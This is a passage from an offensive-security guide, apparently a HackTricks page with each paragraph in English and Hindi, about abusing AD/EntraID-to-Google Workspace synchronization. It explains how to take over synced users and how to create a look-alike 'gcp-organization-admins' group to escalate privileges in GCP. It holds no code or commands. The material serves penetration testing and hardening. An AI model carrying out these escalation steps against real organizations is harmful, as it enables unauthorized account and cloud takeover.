If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
यदि आप AD या EntraID को समझौता करने में सफल होते हैं, तो आपके पास Google Workspace के साथ समन्वयित होने वाले उपयोगकर्ताओं और समूहों पर पूर्ण नियंत्रण होगा।\
हालांकि, ध्यान दें कि उपयोगकर्ता जो Workspace में उपयोग कर रहे हैं उनके **पासवर्ड** **एक समान हो सकते हैं या नहीं**
#### Attacking users
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
जब समन्वय होता है, तो यह **AD से सभी उपयोगकर्ताओं को या केवल एक विशिष्ट OU से उपयोगकर्ताओं को** या केवल **EntraID में विशिष्ट समूहों के सदस्यों को** समन्वयित कर सकता है। इसका मतलब है कि एक समन्वयित उपयोगकर्ता पर हमला करने के लिए (या एक नया उपयोगकर्ता बनाने के लिए जो समन्वयित हो जाता है) आपको पहले यह पता लगाना होगा कि कौन से उपयोगकर्ता समन्वयित हो रहे हैं।
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
- उपयोगकर्ता **AD या EntraID से पासवर्ड को फिर से उपयोग कर सकते हैं या नहीं**, लेकिन इसका मतलब है कि आपको **लॉगिन करने के लिए उपयोगकर्ताओं के पासवर्ड को समझौता करना होगा**
- यदि आपके पास उपयोगकर्ताओं के **ईमेल** तक पहुंच है, तो आप **एक मौजूदा उपयोगकर्ता का Workspace पासवर्ड बदल सकते हैं**, या **एक नया उपयोगकर्ता बना सकते हैं**, प्रतीक्षा करें जब तक कि यह समन्वयित न हो जाए और खाता सेट करें।
Once you access the user inside Workspace it might be given some **permissions by default**.
एक बार जब आप Workspace के अंदर उपयोगकर्ता तक पहुंच प्राप्त कर लेते हैं, तो उसे कुछ **अनुमतियाँ डिफ़ॉल्ट रूप से दी जा सकती हैं**
#### Attacking Groups
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
आपको पहले यह पता लगाना होगा कि कौन से समूह समन्वयित हो रहे हैं। हालांकि यह संभावना है कि **सभी** समूह समन्वयित हो रहे हैं (जैसा कि Workspace इसकी अनुमति देता है)।
> [!NOTE]
> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
> ध्यान दें कि भले ही समूह और सदस्यताएँ Workspace में आयात की गई हों, **जो उपयोगकर्ता उपयोगकर्ता समन्वय में समन्वयित नहीं हैं वे समूह समन्वय के दौरान नहीं बनाए जाएंगे** भले ही वे किसी भी समन्वयित समूह के सदस्य हों।
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
यदि आप जानते हैं कि Azure के कौन से समूह **Workspace या GCP में अनुमतियाँ असाइन कर रहे हैं**, तो आप बस एक समझौता किए गए उपयोगकर्ता (या नए बनाए गए) को उस समूह में जोड़ सकते हैं और उन अनुमतियों को प्राप्त कर सकते हैं।
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
Workspace में मौजूदा विशेषाधिकार प्राप्त समूहों का दुरुपयोग करने का एक और विकल्प है। उदाहरण के लिए, समूह `gcp-organization-admins@<workspace.email>` आमतौर पर GCP पर उच्च विशेषाधिकार रखता है।
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
यदि, उदाहरण के लिए, EntraID से Workspace में समन्वय **आयातित वस्तु के डोमेन को Workspace के ईमेल से बदलने के लिए कॉन्फ़िगर किया गया है**, तो एक हमलावर के लिए EntraID में समूह `gcp-organization-admins@<entraid.email>` बनाने, इस समूह में एक उपयोगकर्ता जोड़ने और सभी समूहों के समन्वय की प्रतीक्षा करना संभव होगा।\
**उपयोगकर्ता को समूह `gcp-organization-admins@<workspace.email>` में जोड़ा जाएगा, जिससे GCP में विशेषाधिकार बढ़ेंगे।**
### From Google Workspace -> AD/EntraID
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
ध्यान दें कि Workspace को उपयोगकर्ताओं और समूहों को समन्वयित करने के लिए AD या EntraID पर केवल पढ़ने की पहुंच वाले क्रेडेंशियल्स की आवश्यकता होती है। इसलिए, AD या EntraID में कोई परिवर्तन करने के लिए Google Workspace का दुरुपयोग करना संभव नहीं है। इसलिए **यह इस समय संभव नहीं है**
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
मुझे यह भी नहीं पता कि Google AD क्रेडेंशियल्स या EntraID टोकन को कहाँ संग्रहीत करता है और आप **समन्वय को फिर से कॉन्फ़िगर करके उन्हें पुनर्प्राप्त नहीं कर सकते** (वे वेब फॉर्म में नहीं दिखाई देते, आपको उन्हें फिर से देना होगा)। हालाँकि, वेब से वर्तमान कार्यक्षमता का दुरुपयोग करके **उपयोगकर्ताओं और समूहों की सूची** बनाना संभव हो सकता है।
{{#include ../../../banners/hacktricks-training.md}}